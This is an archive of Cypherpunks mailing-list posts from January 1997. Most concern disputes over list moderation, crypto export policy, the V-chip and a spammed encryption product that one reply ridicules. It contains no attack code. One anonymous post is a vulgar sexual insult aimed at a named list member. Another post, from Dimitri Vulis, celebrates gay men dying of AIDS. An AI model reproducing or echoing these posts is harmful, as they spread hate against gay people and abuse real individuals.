Date: Thu, 23 Jan 1997 20:22:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: No Dimitri??
In-Reply-To: <199701232156.NAA27695@toad.com>
Message-ID: <qeo11D5w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


drose@azstarnet.com writes:

> William H. Geiger III wrote:
>
> >I have noticed that there has not been any post from Dimitri in a couple of
> >days.
>
> Yup. Ditto Tim May.  Fair trade?

No.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bill Campbell" <wcampbel@peganet.com>
Date: Thu, 23 Jan 1997 19:52:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Commerce Sec. Hearings and Encryption
Message-ID: <199701240344.WAA22520@mercury.peganet.com>
MIME-Version: 1.0
Content-Type: text/plain


toto@sk.sympatico.ca wrote:
> Bill Campbell wrote:
> > 
> > I have been watching the confirmation hearings for William Daley,
> > and I was amazed at the number of references in the questioning
> > to encryption. I have been watching confirmation hearings for a long
> > time and have never noticed this much attention being placed on such
> > a (formerly?) obscure topic.
> 
>   It certainly looks like someone is gearing up for a battle in regard
> to cryto.
>   I find it very interesting that there would be a grand battle over
> 'exporting' what is already freely available overseas (and always
> will be, despite the export laws).

  This "freely available overseas" concept is a bit overstated.
France and other countries are beginning to come down hard
on encryption. (Also note the post from the guy in New
Zealand on the hassles exporting from his country.) The 
US now has a "Crypto Ambassador" roaming the world,
and I *don't* think he is encouraging an open common
encryption standard.

> I suppose that a cynic might
> be led to believe that perhaps the anti-export champions' agenda
> might be to make more convenient for the average joe to just
> give in and accept weak, government approved crypto.

  Cynic or realist, you make the call. <G> The average Joe
doesn't even know *why* he needs encryption...at least
not yet.

=Bill=




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Thu, 23 Jan 1997 23:13:38 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Airport security [no such thing]
In-Reply-To: <199701240432.WAA08250@manifold.algebra.com>
Message-ID: <Pine.SUN.3.91.970123224150.21553O-100000@crl4.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Thu, 23 Jan 1997 ichudov@algebra.com wrote:

> Is it really true that my response was tossed out as flames?

a) NO posts have been "tossed out."  Your response was sorted
   into the "flames" list--not because it flamed directly, but
   because it was part of the threat started by Dimitri in which
   he engaged in flaming.  

b) While I realize this is a judgment call that others might 
   dispute, I don't think it makes much sense to post to the 
   moderated list only the parts of threads that are not flamish.  
   I would rather keep thread intact on one list or the other.  
   There are exceptions.  I put one of Dimitri's post on this 
   thread into the moderated list because the point he made did
   not require particular knowledge of the entire thread and had 
   non-inflamatory relevance.

> It was crypto-relevant.

Perhaps, but crypto-relevance is NOT the criterion by which I am
moderating the list.  I am sort on the basis of (a) emotional,
non-relevant personal attacks on list members, and (b) spam.  
I believe (and so far the postings have borne me out) that in an
atmosphere of civil, reasoned discourse, the relevance issue will
largely take care of itself.

By the way, contrary to what Dimitri has alleged, I have posted
every message from him in which he was able to restrain himself
with regard to gratuitous insults and/or spam.  In other words, 
the set of Dimitri posts that have appeared on the moderated list
is not the null set.

By the way number two, this response will be posted to the flames
list and NOT the moderated list.  Even though I have not flamed
anyone, two things keep it off the moderated list:  (1) my policy
about keeping thread on the same list where possible (see above),
and (2) basic precepts of fairness.  Though Dimitri has stated--
without a scintilla of evidence--that my moderation policy would
be used to attack him and not give him the opportunity or forum
to defend himself, I am keeping ALL personal attacks off the 
moderated list.  Those who are subscribed to the "flam" postings
can see numerous unkind posts about Dimitri that I have not 
allowed on the moderated list.  That policy applies to me just 
as much as to anyone else.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Thu, 23 Jan 1997 20:25:48 -0800 (PST)
To: abostick@netcom.com
Subject: Re: THE NEW YORKER on the V-Chip
Message-ID: <01IEKJ7UWBPC9AMSTU@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"abostick@netcom.com"  "Alan Bostick" 23-JAN-1997 23:09:54.72

>In the Jan. 20, 1997, issue of THE NEW YORKER, the "Comment", written by
>Malcolm Gladwell, makes a powerful arguement about the unintended
>consequences of the V-Chip, the programmable device to be included in
>next-generation television sets sold in the US that supposedly will
>allow parents to control their children's access to sex and violence on
>TV.

>Gladwell makes an analogy between V-Chipped TV content and
>air-conditioned cars in the New York City subway system in summertime:
>" . . . we need air-conditioners on subway cars because air-conditioners
>on subway cars have made stations so hot that subway cars need to be
>air-conditioned."  Similarly, he argues, "the V-chip is likely to
>increase the amount of sex and violence on television, not decrease it"
>because when viewers can block offensive programming, there is far less
>pressure on broadcasters and cable operators to avoid offending.

	Personally, I'd view this as a positive development. The puritanical
types will be busily still protesting it, but without so many parents who
(falsely) believe their children will be harmed by exposure to sex, thus
dividing their efforts. Normally one would think that advertisers et al might
give in to a small number... but advertisers particularly suceptible to this
won't be sponsoring anything but G-rated shows anyway. (Of course, I view
the V-chip itself as a bad thing, but if it has an outcome opposite in at
least _some_ ways to the one intended by the neo-puritans, I can see the
silver lining.)

>And, for the benefit of those people who don't think the V-Chip isn't in
>itself on-topic for cypherpunks, I might point out that Gladwell's
>argument applies equally well to mail filtering with procmail recipes --
>or Sandy's and John's list moderation experiment.  If the noise level on
>the unmoderated list jumps to even higher than we were seeing before
>the moderation began, that would provide observational support to
>Gladwell's argument.

	An interesting question... although I'd point out that the degree of
social pressure against spamming et al appears to be ineffective. The herd-like
public (referring to the parents with their foolish fears and anyone else
brainwashed into believing the puritans/fundamentalists) can put pressure on
with their buying patterns... as yet such a market system is lacking in mailing
lists (except for putting people on filter lists, which probably exacerbates
the problem). In other words, there is no particular reason for the spammers et
al to desist even if people _are_ receiving their email.
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: satan_is_a_hacker@juno.com (fuck you)
Date: Thu, 23 Jan 1997 20:47:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <19970123.234607.13718.0.SATAN_is_a_HACKER@juno.com>
MIME-Version: 1.0
Content-Type: text/plain


If anyone has any text files on the following topics please send them. I
have many files if any one else needs them.

PGP
Making decryption tools
Anarchy
Satan
Anything underground




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Thu, 23 Jan 1997 23:19:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [ADMINISTRATIVIUM] Degausser
Message-ID: <199701240719.AAA18312@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


When Timmy `C' May's mother gave birth to him after fucking with a bunch of 
sailors, she didn't know who the father was but decided to tell him that he was a 
Russian as the Russian sailor was the one who satisfied her the most.

 
  /~~~\
 {-O^O-} Timmy `C' May
  \ o /
   (-)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Fri, 24 Jan 1997 00:44:16 -0800 (PST)
To: Alan Bostick <abostick@netcom.com>
Subject: Re: THE NEW YORKER on the V-Chip
Message-ID: <3.0.32.19970124004457.006b77b8@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:57 PM 1/23/97 -0800, Alan Bostick wrote:

>In the Jan. 20, 1997, issue of THE NEW YORKER, the "Comment", written by
>Malcolm Gladwell, makes a powerful arguement about the unintended
>consequences of the V-Chip, the programmable device to be included in
>next-generation television sets sold in the US that supposedly will
>allow parents to control their children's access to sex and violence on
>TV.

While I think it's always useful to consider unintended (or otherwise
unexpected) consequences, Gladwell's argument sent a shiver down my spine
with its shameless paternalism. This bit (from roughly the middle of his
piece) is what I found creepiest:

"According to one recent study, somewhere between twenty and twenty-seven
per cent of the parents of four-to six-year-olds never restrict their
children's viewing hours, never decide what programs they can watch, never
change the channel when something objectionable comes on, and never forbid
the watching of certain programs. It has apparently never occurred to these
parents that television can be a bad influence, and it strains credulity to
think that the advent of the V-chip is going to wake them up. Yet their
families - mainly lower-income, ill-educated - are the very ones most in
need of protection from television violence. Here is a rearranging effect
with a vengeance: not only does the V-chip make television worse, it makes
television worse precisely for those already most vulnerable to its excesses."

I understood Gladwell's point to be, in essence, that the V-chip will allow
TV producers to generate higher levels of morally impure content which he
fears will pollute the minds of poor children because their parents are too
stupid to protect them from the harmful content and too poor to buy new
televisions which will include V-chips.

While I think 95% of broadcast TV is crap which isn't worth the time
expended watching it, even reading arguments like "poor people should be
protected from harmful ideas they're too stupid (or too poorly educated) to
avoid and too poor to purchase protection from" makes me feel dirty. I
don't think Gladwell is, in any meaningful way, an opponent of government
control of speech/expression - he's just an opponent of inefficient or
optional forms of government control of speech/expression.  He's a
reasonable writer, but he's chosen to use his powers for evil instead of
for good. (Some of his work is available on the web; apparently he once
worked as a reporter for the Washington Post and is now on the staff of the
New Yorker.)


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 24 Jan 1997 00:11:13 -0800 (PST)
To: Bill Campbell <wcampbel@peganet.com>
Subject: Re: Commerce Sec. Hearings and Encryption
In-Reply-To: <199701240344.WAA22520@mercury.peganet.com>
Message-ID: <32E88046.427C@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Bill Campbell wrote:
> 
> toto@sk.sympatico.ca wrote:
> > Bill Campbell wrote:
>   This "freely available overseas" concept is a bit overstated.
> France and other countries are beginning to come down hard
> on encryption.

  True. Perhaps I should have said "freely available, but it might
cost you more than you expect."
 
>   Cynic or realist, you make the call. <G> The average Joe
> doesn't even know *why* he needs encryption...at least
> not yet.

  The average joe is quickly becoming aware of the issue of data
security (and therefore being exposed to the 'concept' of 
encryption as something that will impact his life). Of course,
this is coming about as a result of commercial pressures to make
him feel safe about handing over his Visa number, etc.
  To me, this indicates that this is the opportune time to inject
a deeper level of understanding into the issue of crypto, at a
time when the average joe has his attention directed toward the
crypto arena.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 23 Jan 1997 23:37:58 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Rejection policy of the Cypherpunks maiing list
Message-ID: <199701240733.BAA10190@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


I would like to start a thread to discuss the moderation and rejection 
policy.

My perfectly crypto-relevant article regarding possible attacks
on human relationships with the use of forged mail and anonymous
remailers, has been tossed out (sorted) into cypherpunks-flames 
mailing list.

You can receive a copy of my article by an email request.

The explanation that Sandy Sandfort gave me mentioned that he rejected
my message because it continued a thread where Sandy noticed instances
of "flaming". Note that my message was free of any flames, including
its quoted part.

Sandy also states rather plainly that crypto-relevance is not the
criterion by which he moderates this list. I question this policy.

I would like to hear your opinions as to whether such policies satisfy
the current readership.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 24 Jan 1997 00:11:19 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Fighting the cybercensor. (fwd)
In-Reply-To: <199701240138.TAA10898@einstein>
Message-ID: <32E8846B.3E52@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote:

> Typical modern American attitude, getting it right is too much work so let's
> lower the benchmark so anyone can be 'right'.

  Are you referring to the CypherPunks 'censored' list?

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 24 Jan 1997 00:11:31 -0800 (PST)
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: No Dimitri??
In-Reply-To: <199701231237.MAA10676@mailhub.amaranth.com>
Message-ID: <32E8875D.5392@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


William H. Geiger III wrote:
> I have noticed that there has not been any post from Dimitri in a couple of
> days.
> 
> I am assuming that this means that the list moderation has now started?

  Yes. No postings from John Gilmore on the cypherpunks-censored list
either, lately.
  I guess Sandy's not putting up with his crap anymore, as well.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 24 Jan 1997 00:13:11 -0800 (PST)
To: Alan Bostick <abostick@netcom.com>
Subject: Re: THE NEW YORKER on the V-Chip
In-Reply-To: <BkA6y8m9LESK085yn@netcom.com>
Message-ID: <32E8884C.44B9@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Alan Bostick wrote:

> And, for the benefit of those people who don't think the V-Chip isn't in
> itself on-topic for cypherpunks, I might point out...

Alan,
  Good idea to 'explain' yourself, in case 'they' are watching. One can
never be too careful when the crypto-censors are lurking in the
background.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 24 Jan 1997 00:11:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: THE NEW YORKER on the V-Chip
In-Reply-To: <01IEKJ7UWBPC9AMSTU@mbcl.rutgers.edu>
Message-ID: <32E88A09.18BA@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


> From:   IN%"abostick@netcom.com"  "Alan Bostick" 23-JAN-1997 23:09:54.72
> 
> >In the Jan. 20, 1997, issue of THE NEW YORKER, the "Comment", written by
> >Malcolm Gladwell, makes a powerful arguement about the unintended
> >consequences of the V-Chip

  I noticed that when my nephews buy video games, the first ones they
check out are the ones plastered with the 'protective' ratings-symbols
that proclaim that the game is the 'baddest of the bad' in terms of
violence, etc.
  Thanks to the violence-rating system, they no longer have to waste
time checking out 'dweeb' programs that contain absolutely no blood
and gore.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 24 Jan 1997 03:07:59 -0800 (PST)
To: Krenn <krenn@nym.alias.net>
Subject: Re: If you were unable to download UDCM V2.0 before...
In-Reply-To: <19970124083945.20833.qmail@anon.lcs.mit.edu>
Message-ID: <32E898A2.6EE6@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Krenn wrote:
 
> Oh most certainly! I'm gonna run out and implement EVERYTHING in UDCM!!
> Thanks man!!

  Yours is the post these guys have been waiting for. All of those other
CypherPunks just 'flamed' them  by asking technical questions about 
their products.
  Who knows, they may make you their marketing manager.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 24 Jan 1997 03:08:00 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Rejection policy of the Cypherpunks maiing list
In-Reply-To: <199701240733.BAA10190@manifold.algebra.com>
Message-ID: <32E8B499.27B5@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> 
> My perfectly crypto-relevant article regarding possible attacks
> on human relationships with the use of forged mail and anonymous
> remailers, has been tossed out (sorted) into cypherpunks-flames
> mailing list.

  I have noticed that the 'sorting' of messages seems to be based
as much on personality as upon content. 
 
> The explanation that Sandy Sandfort gave me mentioned that he rejected
> my message because it continued a thread where Sandy noticed instances
> of "flaming". Note that my message was free of any flames, including
> its quoted part.

  The standard of what constitutes a 'flame' seems to rest very much
upon whom a comment is directed at, or merely 'vaguely toward'.  
There have been more than a few postings stronly lambasting various
generic grouping of individuals which have passed without censoring.
  Your post, however, included Dr. Dimitri's vague reference to
a homosexual 'elite'. While it was directed toward no one in 
particular, I suppose one could 'infer', from his past postings,
that it referred to certain individuals, or a group of individuals.
  So it would seem that, in quoting the posts of others, one must
take into consideration what various readers may infer from their
previous posts.

> Sandy also states rather plainly that crypto-relevance is not the
> criterion by which he moderates this list.

  This was more than obvious to anyone who cared to cast an objective
eye on the process, but their input was pooh-paah'd by the 'washed 
masses'.

> I would like to hear your opinions as to whether such policies satisfy
> the current readership.

  Like all of the 'opinions' that were expressed prior to the censorship
of the list? I haven't seen any indication that these opinions were 
given the slightest consideration.  This is not the readership's list.
It is a private individual's list.

  My view of Sandy's moderation is that it is rather willy-nilly, and
not done particularly objectively. There have been personal insults 
directed toward various individuals, including myself, which seem 
not to have been considered 'flames', while there are more than a few 
posts which, even on the closest of inspection, I can see no reason 
for dumping the the 'flame-crapper', other than the fact that they 
are somewhat associated to the 'unclean' list members.
  The moderation, at best, seems to encourage 'snide' commentary
meant to be ill-disguised cheap-shots. I would much rather have 
list members taking strong, clean shots at their 'targets', than
to be subjected to two-faced people talking out of the side of
their mouths.

  In short, I don't see the moderation as being 'fair', and I don't
think it was ever meant to be.
  I don't have a problem with this, since it's a private list, and, 
as far as I am concerned, the list-owner can censor it, or have it
censored, any way he or she sees fit.
  I would like to point out, however, that anyone who has had their
posts 'sorted' into the 'flames list' is now a 'known flamer', as
evidenced by the fact that their post has been designated a 'flame'
on a list run by a champion of free speech on the electronic
frontier.
  It is obvious that some of the more intuitively intelligent list
members are aware of this, as is indicated by the nervous fear with
which they 'explain why' their post is crypto-relevant.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 24 Jan 1997 02:42:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
In-Reply-To: <199701240655.WAA12732@toad.com>
Message-ID: <Lg711D10w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com writes:

> Dr.Dimitry Vulius K.O.T.M. wrote:
> > Dale Thorn <dthorn@gte.net> writes:
> >
> > > Igor Chudov @ home wrote:
> > > > Dr.D. Vulius K.O.T.M. wrote:
> > > > > Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> > >
> > > > But think about this: suppose there is a couple, bob@household.com,
> > > > and alice@household.com. Suppose that Rev. Mallory does not like bob.
> > > > Mallory forges a lot of emails like "I can still taste your sperm
> > > > on my lips", that appear to originate from Cindy@phonesex.org.
> > > > Then, promptly, Mallory sends an anonymous alert to alice@household.com
> > > > warning her about naughty email activities of bob. Alice gets mad at hi
> > > > and divorces him.
> > > > How would bob protect himself against such developments?
> > >
> > > Frame-ups are as old as time.  The ones that work the best are those
> > > that are the most believable.  O.J., for example.  Unless Alice is
> > > unusually flaky or paranoid, she'll consider her options against the
> > > time she has invested in Bob.
> >
> > Here's an interesting twist of Sandfort's moderation policy.
> >
> > My article was crypto-relevant and flame-free and was tossed to
> > cypherpunks-flames.
> >
> > Igor's response to my article was also crypto-relevant and flame-free
> > and was tossed to cypherpunks-flames.
> >
> > Dale's response did not quote me, so it made it to the censored list.
>
> Is it really true that my response was tossed out as flames?

Yes.

> It was crypto-relevant.

So was my original article. They did not contain any flames or
personal attacks, contrary to what Sandy claims.

> BTW, this is a more than perfect illustration why rejections
> based on "shitstrings" are completely inappropriate for moderating.
>
> I have nothing again "grey lists", when moderators are alerted when a
> message containing certain suspicious word arrives (the way it's done in
> STUMP), but am opposed to autorejections (unless mods are mailbombed).

It's ironic that Igor's article which I'm quoting ALSO got tossed into
cypherpunks-flames, even though it wasn't a flame.

Apparently the only comments on moderation that Sandy passes to the
censored list are the ones praising him.  This way he'll be able to
report unanymous support for his moderation policies.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 24 Jan 1997 02:40:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Rejection policy of the Cypherpunks maiing list
In-Reply-To: <199701240733.BAA10190@manifold.algebra.com>
Message-ID: <4N711D11w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> I would like to start a thread to discuss the moderation and rejection
> policy.

I predict that Sandy won't allow any posts on the censored list that
question his moderation poilicy - only the unanymous praises.

> My perfectly crypto-relevant article regarding possible attacks
> on human relationships with the use of forged mail and anonymous
> remailers, has been tossed out (sorted) into cypherpunks-flames
> mailing list.

A dishonorable act.

> You can receive a copy of my article by an email request.

Perhaps you want to start putting up rejected articles on a Web page?

> The explanation that Sandy Sandfort gave me mentioned that he rejected
> my message because it continued a thread where Sandy noticed instances
> of "flaming". Note that my message was free of any flames, including
> its quoted part.

That's correct.

> Sandy also states rather plainly that crypto-relevance is not the
> criterion by which he moderates this list. I question this policy.

Sandy's personal likes and dislikes of certain posters are the criterion.

> I would like to hear your opinions as to whether such policies satisfy
> the current readership.

You won't be allowed to on this censored mailing list.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Fri, 24 Jan 1997 07:11:49 -0800 (PST)
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: seeds of our own destruction
In-Reply-To: <199701240950.CAA01462@infowest.com>
Message-ID: <32E8D0C7.368B@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Attila T. Hun wrote:
>    at 01:13 AM, Kevin Stephenson <cts@deltanet.com> said:
> +You wrote some very interesting articles. It is the UN.
>     if you want a real scare, read the UN "world constitution" on
>     human rights and privacy --their idea of a Bill of Rights.  It just
>     happens that it is virtually word for word equivalent to the
>     mainland Chinese "rights"  -in other words: rights as long as they
>     are consistent with the aims of the state (UN) and the security
>     needs of the state at the given moment.
[snip]
> +Read Revelations (if you haven't).
>     the best general reference on symbology, at least of what I
>     have seen so far:  Opening the Seven Seals (The Visions of John the Revelator)
>     Richard D. Draper, Desert Books, Salt Lake City, ISBN 087579-547-1, SKU 2142298

Wendy Wallace (I think) has written something about the 4 horsemen of
the Apocalypse, and they've been running excerpts in Paranoia magazine.
I really like Paranoia mag, check it out.

If you like heavy-duty scary symbology writing (can't vouch for the
exact content), check out Texe Marrs who has a recent book on the
subject (can't remember the title, but pictures of the symbols on
the cover, in paperback).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 24 Jan 1997 04:30:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: No Dimitri??
In-Reply-To: <199701240641.WAA12137@toad.com>
Message-ID: <qRB21D13w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com> writes:

> "William H. Geiger III" <whgiii@amaranth.com> writes:
>
> > I have noticed that there has not been any post from Dimitri in a couple of
> > days.
> >
> > I am assuming that this means that the list moderation has now started?
>
> Yes - anything I say is junked irrespective of content.

I see that Moderator Sandfort has allowed this article through (to prove
me wrong) but has tossed all my other articles into cypherpunks-flames.
Most of them were crypto-relevant, on-topic, and contained no flames.

I bet he's going to toss this one too.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 24 Jan 1997 04:30:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Homosexuals
In-Reply-To: <199701240712.XAA13326@toad.com>
Message-ID: <eZB21D14w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


fuck you <satan_is_a_hacker@juno.com> writes in the censored list:

> If anyone has any text files on the following topics please send them.
...
> Anything underground

Anything?  My good friend TRRCJ3 reports from San Francisco that the
city is much nicer now that so many homosexuals are 6 feet under.

Thank God for AIDS.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: privsoft@ix.netcom.com (Steven M Orrin)
Date: Fri, 24 Jan 1997 08:18:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: 2 Questions
Message-ID: <199701241618.IAA07543@dfw-ix5.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Hey guys,
2 quick questions:

Are there any known hacks or weaknesses in S/Key?

Has Anyone heard of a new product called SecureWin from Cipher Logics 
Corp. It looks like vaporware but is a little more sophisticated than 
the usual product spams (like IPG, POTP, Encrypt-it, WinKrypt etc.)
[I checked there web page some interesting fuctions, , No software 
available yet and Phone numbers are either busy or not in service, go 
figure]

thanks 

Steveo




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Krenn <krenn@nym.alias.net>
Date: Fri, 24 Jan 1997 00:39:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: If you were unable to download UDCM V2.0 before...
Message-ID: <19970124083945.20833.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

> {If you were unable to download UDCM V2.0 before, we're extremely sorry.}
> {UDCM's web site may have been under construction during the time you
> visited.}
> {UDCM's web site has finished undergoing its changes and will operate
> correctly.}
> {UDCM V2.0 has been extensively modified from its previous variation.}
> {Digital signaturing and public key cryptosystem capabilities have been
> added.}
> {UDCM's DS and PKCS techniques do NOT make use of conventional PN factoring.}
> {UDCM's source code is currently unavailable. PLEASE DO NOT REQUEST IT.}
> {UDCM's on-line help documentation has also been extensively modified.}
> {This advertisement has also been modified.}

Well halellujah.


> Greetings! I am Jeremy K. Yu-Ramos, president of DataET Research, Data
> Engineering Technologies. I am sending you this message to let you know that
> DataET Research has recently initiated the distribution of UDCM, Universal
> Data Cryptography Module. UDCM implements a revolutionarily new, extremely
> advanced and sophisticated, digital data encryption algorithm named IMDMP,
> Integrated Mathematical Data Manipulation and Positioning.
> 
> UDCM (the IMDMP algorithm)...

OH! OF COURSE! IMDMP! COOL!!

> 
> o Is a royalty-free Windows DLL module featuring advanced cryptography.
> o Contains more than 150 procedures and functions.

WOW!! 150!!!

> o Is a very cost-effective size of only 60 kilobytes.
> o Implements the IMDMP encryption algorithm.

Of course, who doesn't?!

> o Allows encryption keys as large as 2048 bits.
> o Includes 18 sub-algorithms.

18?! HOLY COW!!

> o Processes all forms of binary and ASCII files.

What a breakthrough! Astounding!!

> o Allows multiple encryption layer levels.
> o Has absolutely no back-doors or magical keys.

Of course not, it's IMDMP!!

> o Includes time and date locking features. 
> o Includes file specific unique encryption features.

Specific unique encryption features!! NO WAY!! COOL!!!

> o Includes file authentication guard features.
> o Includes digital signaturing capabilities.
> o Implements the public key cryptosystem method of security.

Of course, everyone knows the public key cryptosystem method is the
best! Excellent!

> o Includes data importance and sensitivity stamping features.
> 
> UDCM, being a Windows DLL module, can be accessed through programs developed
> with popular application and database programming languages and environments
> such as: C, C++, Visual Basic, PowerBuilder, Delphi, OOP Pascal, Turbo
> Pascal, dBase, Paradox, Access, Sybase, Oracle, etc. 
> 
> DataET Research has released a shareware version of UDCM named UDCM V2.0.

Hey, v2.0, neat name, where'd you come up with it?!

> 
> To download UDCM V2.0 for free, please go to:
> http://members.aol.com/dataetrsch/udcm.html.

AOL!! Oh YES! Cool!

> 
> I hope you will consider applying UDCM in the software you develop. Thank-you
> very much for your time.

Oh most certainly! I'm gonna run out and implement EVERYTHING in UDCM!!
Thanks man!!

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CV Communications <response@quantcom.com>
Date: Fri, 24 Jan 1997 06:13:04 -0800 (PST)
To: "cwozniak@aol.com>
Subject: ATTENTION HOMEOWNER
Message-ID: <199701241354.IAA12840@glenn.cvcom.net>
MIME-Version: 1.0
Content-Type: text/plain


The following message has been brought to you by Quantum Communications.
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mullen, Patrick" <MullenP@ndhm06.ndhm.gtegsc.com>
Date: Fri, 24 Jan 1997 05:57:30 -0800 (PST)
To: "'DataETRsch@aol.com>
Subject: RE: If you were unable to download UDCM V2.0 before....
Message-ID: <c=US%a=_%p=GTE%l=NDHM06-970124135704Z-70285@ndhm06.ndhm.gtegsc.com>
MIME-Version: 1.0
Content-Type: text/plain


>From: 	DataETRsch@aol.com[SMTP:DataETRsch@aol.com]

>o Includes time and date locking features. 

How do you implement this feature?  Where is the time/date information
stored?  Is this in that header you were talking about before?  Is there
some method which is designed to thwart simply changing the CMOS 
time?

Thanks!

~ Patrick


>----------
>From: 	DataETRsch@aol.com[SMTP:DataETRsch@aol.com]
>Sent: 	Thursday, January 23, 1997 9:35 PM
>To: 	cypherpunks@toad.com
>Subject: 	If you were unable to download UDCM V2.0 before....
>
>{If you were unable to download UDCM V2.0 before, we're extremely sorry.}
>{UDCM's web site may have been under construction during the time you
>visited.}
>{UDCM's web site has finished undergoing its changes and will operate
>correctly.}
